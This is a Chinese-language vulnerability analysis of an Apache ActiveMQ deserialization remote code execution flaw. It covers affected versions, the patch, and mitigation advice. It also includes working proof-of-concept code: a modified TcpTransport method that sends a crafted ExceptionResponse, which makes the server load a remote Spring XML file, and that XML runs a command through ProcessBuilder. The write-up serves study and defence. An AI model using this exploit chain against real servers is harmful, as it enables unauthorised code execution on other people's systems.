Apache ActiveMQ RCE 分析
字数 1511 2025-08-20 18:17:47
Apache ActiveMQ RCE漏洞分析与复现
漏洞概述
Apache ActiveMQ存在一个远程代码执行(RCE)漏洞,攻击者可以通过构造特殊的ExceptionResponse消息,利用ActiveMQ的反序列化机制执行任意代码。该漏洞影响以下版本:
- Apache ActiveMQ < 5.18.3
- Apache ActiveMQ < 5.17.6
- Apache ActiveMQ < 5.16.7
- Apache ActiveMQ < 5.15.16
漏洞分析
根本原因
漏洞根源在于BaseDataStreamMarshaller类缺乏对反序列化对象的严格验证。攻击者可以利用ExceptionResponseMarshaller来反序列化任意可抛出(Throwable)类,并通过其字符串参数构造器执行恶意代码。
关键代码分析
- 补丁分析
新版本为BaseDataStreamMarshaller类加入了validateIsThrowable方法进行验证:
public static void validateIsThrowable(Class<?> clazz) {
if (!Throwable.class.isAssignableFrom(clazz)) {
throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable");
}
}
- ExceptionResponseMarshaller
这是BaseDataStreamMarshaller的子类,负责ExceptionResponse的序列化/反序列化:
public class ExceptionResponse extends Response {
public static final byte DATA_STRUCTURE_TYPE = 31;
Throwable exception;
// ...其他方法...
}
- 反序列化流程
tightUnmarshalThrowable/looseUnmarshalThrowable方法会调用createThrowable,后者可以调用任意带有一个String参数的构造方法。
漏洞利用
利用思路
- 构造一个
ExceptionResponse消息 - 设置其exception字段为恶意Throwable对象
- 发送给ActiveMQ服务器
- 服务器反序列化时会调用
createThrowable执行恶意代码
具体步骤
- 创建恶意Throwable对象
利用Spring的ClassPathXmlApplicationContext加载远程XML实现RCE:
Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml");
- 构造ExceptionResponse
ExceptionResponse response = new ExceptionResponse(obj);
- 绕过正常序列化流程
需要修改TcpTransport的oneway方法,直接发送构造的ExceptionResponse:
public void oneway(Object command) throws IOException {
this.checkStarted();
Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml");
ExceptionResponse response = new ExceptionResponse(obj);
this.wireFormat.marshal(response, this.dataOut);
this.dataOut.flush();
}
- 创建恶意XML
示例XML利用ProcessBuilder执行命令:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>open</value>
<value>-a</value>
<value>calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
技术要点
-
类加载顺序
通过在当前源码目录创建org.apache.activemq.transport.tcp.TcpTransport类,利用classpath查找顺序优先使用修改后的类。 -
Throwable处理
需要使ClassPathXmlApplicationContext继承Throwable类,因为marshal时会调用getClass().getName()。
防护建议
-
升级到安全版本:
- Apache ActiveMQ ≥ 5.18.3
- Apache ActiveMQ ≥ 5.17.6
- Apache ActiveMQ ≥ 5.16.7
- Apache ActiveMQ ≥ 5.15.16
-
临时缓解措施:
- 限制ActiveMQ服务的网络访问
- 监控异常网络流量
-
代码层面:
- 对所有反序列化操作实施严格的白名单验证
- 避免反序列化不可信的输入
总结
该漏洞利用ActiveMQ的反序列化机制,通过构造特殊的ExceptionResponse消息实现远程代码执行。漏洞利用需要深入理解ActiveMQ的序列化/反序列化流程,并通过巧妙的方式绕过正常消息处理流程。修复方案主要是添加严格的类型验证,确保只有合法的Throwable类可以被反序列化。